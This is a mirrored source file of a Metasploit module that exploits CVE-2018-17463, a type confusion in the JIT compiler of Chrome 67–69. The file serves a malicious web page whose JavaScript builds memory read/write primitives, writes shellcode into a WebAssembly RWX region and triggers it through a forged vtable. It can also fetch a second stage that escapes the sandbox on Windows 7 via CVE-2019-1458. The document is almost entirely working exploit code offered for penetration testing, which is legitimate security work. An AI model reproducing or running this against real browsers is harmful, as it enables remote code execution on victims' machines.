Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/chrome_object_create.rb
31376 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::Remote::HttpServer::BrowserExploit
11
include Msf::Payload::Windows::AddrLoader_x64
12
include Msf::Payload::Windows::ReflectiveDllInject_x64
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
19
'Description' => %q{
20
This modules exploits a type confusion in Google Chromes JIT compiler.
21
The Object.create operation can be used to cause a type confusion between a
22
PropertyArray and a NameDictionary.
23
The payload is executed within the rwx region of the sandboxed renderer
24
process.
25
This module can target the renderer process (target 0), but Google
26
Chrome must be launched with the --no-sandbox flag for the payload to
27
execute successfully.
28
Alternatively, this module can use CVE-2019-1458 to escape the renderer
29
sandbox (target 1). This will only work on vulnerable versions of
30
Windows (e.g Windows 7) and the exploit can only be triggered once.
31
Additionally the exploit can cause the target machine to restart
32
when the session is terminated. A BSOD is also likely to occur when
33
the system is shut down or rebooted.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'saelo', # discovery and exploit
38
'timwr', # metasploit module
39
],
40
'References' => [
41
['CVE', '2018-17463'],
42
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
43
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
44
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
45
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
46
],
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Reliability' => [ REPEATABLE_SESSION ],
50
'SideEffects' => [ IOC_IN_LOGS ],
51
'Stability' => [CRASH_SAFE]
52
},
53
'Targets' => [
54
[
55
'No sandbox escape (--no-sandbox)', {}
56
],
57
[
58
'Windows 7 (x64) sandbox escape via CVE-2019-1458',
59
{
60
'Platform' => 'win',
61
'Arch' => [ARCH_X64],
62
'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }
63
}
64
],
65
],
66
'DisclosureDate' => '2018-09-25'
67
)
68
)
69
deregister_options('DLL')
70
end
71
72
def library_path
73
File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll')
74
end
75
76
def on_request_uri(cli, request)
77
print_status("Sending #{request.uri} to #{request['User-Agent']}")
78
download_payload = ''
79
shellcode = payload.encoded
80
uripath = datastore['URIPATH'] || get_resource
81
uripath += '/' unless uripath.end_with? '/'
82
83
if target.name.end_with?('CVE-2019-1458')
84
if request.uri.to_s.end_with?('/payload')
85
loader_data = stage_payload
86
pidx = loader_data.index('PAYLOAD:')
87
if pidx
88
loader_data[pidx, payload.encoded.length] = payload.encoded
89
end
90
loader_data += "\0" * (0x20000 - loader_data.length)
91
send_response(cli, loader_data, {
92
'Content-Type' => 'application/octet-stream',
93
'Cache-Control' => 'no-cache, no-store, must-revalidate',
94
'Pragma' => 'no-cache', 'Expires' => '0'
95
})
96
print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")
97
end
98
loader = generate_loader
99
shellcode = loader[0]
100
shellcode_addr_offset = loader[1]
101
shellcode_size_offset = loader[2]
102
download_payload = <<-JS
103
var req = new XMLHttpRequest();
104
req.open('GET', '#{uripath}payload', false);
105
req.overrideMimeType('text/plain; charset=x-user-defined');
106
req.send(null);
107
if (req.status != 200) {
108
return;
109
}
110
let payload_size = req.responseText.length;
111
let payload_array = new ArrayBuffer(payload_size);
112
let payload8 = new Uint8Array(payload_array);
113
for (let i = 0; i < req.responseText.length; i++) {
114
payload8[i] = req.responseText.charCodeAt(i) & 0xff;
115
}
116
let payload_array_mem_addr = memory.addrof(payload_array) + 0x20n;
117
let payload_array_addr = memory.readPtr(payload_array_mem_addr);
118
print('payload addr: 0x' + payload_array_addr.toString(16));
119
uint64View[0] = payload_array_addr;
120
for (let i = 0; i < 8; i++) {
121
shellcode[#{shellcode_addr_offset} + i] = uint8View[i];
122
}
123
for (let i = 0; i < 4; i++) {
124
shellcode[#{shellcode_size_offset} + i] = (payload_size>>(8*i)) & 0xff;
125
}
126
for (let i = 4; i < 8; i++) {
127
shellcode[#{shellcode_size_offset} + i] = 0;
128
}
129
JS
130
end
131
132
jscript = <<~JS
133
let ab = new ArrayBuffer(8);
134
let floatView = new Float64Array(ab);
135
let uint64View = new BigUint64Array(ab);
136
let uint8View = new Uint8Array(ab);
137
138
let shellcode = new Uint8Array([#{Rex::Text.to_num(shellcode)}]);
139
140
Number.prototype.toBigInt = function toBigInt() {
141
floatView[0] = this;
142
return uint64View[0];
143
};
144
145
BigInt.prototype.toNumber = function toNumber() {
146
uint64View[0] = this;
147
return floatView[0];
148
};
149
150
function hex(n) {
151
return '0x' + n.toString(16);
152
};
153
154
function fail(s) {
155
print('FAIL ' + s);
156
throw null;
157
}
158
159
const NUM_PROPERTIES = 32;
160
const MAX_ITERATIONS = 100000;
161
162
function gc() {
163
for (let i = 0; i < 200; i++) {
164
new ArrayBuffer(0x100000);
165
}
166
}
167
168
function make(properties) {
169
let o = {inline: 42} // TODO
170
for (let i = 0; i < NUM_PROPERTIES; i++) {
171
eval(`o.p${i} = properties[${i}];`);
172
}
173
return o;
174
}
175
176
function pwn() {
177
function find_overlapping_properties() {
178
let propertyNames = [];
179
for (let i = 0; i < NUM_PROPERTIES; i++) {
180
propertyNames[i] = `p${i}`;
181
}
182
eval(`
183
function vuln(o) {
184
let a = o.inline;
185
this.Object.create(o);
186
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
187
return [${propertyNames.join(', ')}];
188
}
189
`);
190
191
let propertyValues = [];
192
for (let i = 1; i < NUM_PROPERTIES; i++) {
193
propertyValues[i] = -i;
194
}
195
196
for (let i = 0; i < MAX_ITERATIONS; i++) {
197
let r = vuln(make(propertyValues));
198
if (r[1] !== -1) {
199
for (let i = 1; i < r.length; i++) {
200
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
201
return [i, -r[i]];
202
}
203
}
204
}
205
}
206
207
fail("Failed to find overlapping properties");
208
}
209
210
function addrof(obj) {
211
eval(`
212
function vuln(o) {
213
let a = o.inline;
214
this.Object.create(o);
215
return o.p${p1}.x1;
216
}
217
`);
218
219
let propertyValues = [];
220
propertyValues[p1] = {x1: 13.37, x2: 13.38};
221
propertyValues[p2] = {y1: obj};
222
223
let i = 0;
224
for (; i < MAX_ITERATIONS; i++) {
225
let res = vuln(make(propertyValues));
226
if (res !== 13.37)
227
return res.toBigInt()
228
}
229
230
fail("Addrof failed");
231
}
232
233
function corrupt_arraybuffer(victim, newValue) {
234
eval(`
235
function vuln(o) {
236
let a = o.inline;
237
this.Object.create(o);
238
let orig = o.p${p1}.x2;
239
o.p${p1}.x2 = ${newValue.toNumber()};
240
return orig;
241
}
242
`);
243
244
let propertyValues = [];
245
let o = {x1: 13.37, x2: 13.38};
246
propertyValues[p1] = o;
247
propertyValues[p2] = victim;
248
249
for (let i = 0; i < MAX_ITERATIONS; i++) {
250
o.x2 = 13.38;
251
let r = vuln(make(propertyValues));
252
if (r !== 13.38)
253
return r.toBigInt();
254
}
255
256
fail("Corrupt ArrayBuffer failed");
257
}
258
259
let [p1, p2] = find_overlapping_properties();
260
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);
261
262
let memview_buf = new ArrayBuffer(1024);
263
let driver_buf = new ArrayBuffer(1024);
264
265
gc();
266
267
let memview_buf_addr = addrof(memview_buf);
268
memview_buf_addr--;
269
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);
270
271
let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);
272
273
let driver = new BigUint64Array(driver_buf);
274
let original_memview_buf_ptr = driver[4];
275
276
let memory = {
277
write(addr, bytes) {
278
driver[4] = addr;
279
let memview = new Uint8Array(memview_buf);
280
memview.set(bytes);
281
},
282
read(addr, len) {
283
driver[4] = addr;
284
let memview = new Uint8Array(memview_buf);
285
return memview.subarray(0, len);
286
},
287
readPtr(addr) {
288
driver[4] = addr;
289
let memview = new BigUint64Array(memview_buf);
290
return memview[0];
291
},
292
writePtr(addr, ptr) {
293
driver[4] = addr;
294
let memview = new BigUint64Array(memview_buf);
295
memview[0] = ptr;
296
},
297
addrof(obj) {
298
memview_buf.leakMe = obj;
299
let props = this.readPtr(memview_buf_addr + 8n);
300
return this.readPtr(props + 15n) - 1n;
301
},
302
};
303
304
// Generate a RWX region for the payload
305
function get_wasm_instance() {
306
var buffer = new Uint8Array([
307
0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
308
1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
309
128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
310
101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
311
]);
312
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
313
}
314
#{download_payload}
315
let wasm_instance = get_wasm_instance();
316
let wasm_addr = memory.addrof(wasm_instance);
317
print("wasm_addr @ " + hex(wasm_addr));
318
let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
319
print("wasm_rwx @ " + hex(wasm_rwx_addr));
320
321
memory.write(wasm_rwx_addr, shellcode);
322
323
let fake_vtab = new ArrayBuffer(0x80);
324
let fake_vtab_u64 = new BigUint64Array(fake_vtab);
325
let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);
326
327
let div = document.createElement('div');
328
let div_addr = memory.addrof(div);
329
print('div_addr @ ' + hex(div_addr));
330
let el_addr = memory.readPtr(div_addr + 0x20n);
331
print('el_addr @ ' + hex(el_addr));
332
333
fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
334
memory.writePtr(el_addr, fake_vtab_addr);
335
336
print('Triggering...');
337
338
// Trigger virtual call
339
div.dispatchEvent(new Event('click'));
340
341
// We are done here, repair the corrupted array buffers
342
let addr = memory.addrof(driver_buf);
343
memory.writePtr(addr + 32n, original_driver_buf_ptr);
344
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
345
}
346
347
pwn();
348
JS
349
350
jscript = add_debug_print_js(jscript)
351
html = %(
352
<html>
353
<head>
354
<script>
355
#{jscript}
356
</script>
357
</head>
358
<body>
359
</body>
360
</html>
361
)
362
send_response(cli, html, {
363
'Content-Type' => 'text/html',
364
'Cache-Control' => 'no-cache, no-store, must-revalidate',
365
'Pragma' => 'no-cache', 'Expires' => '0'
366
})
367
end
368
369
end
370
371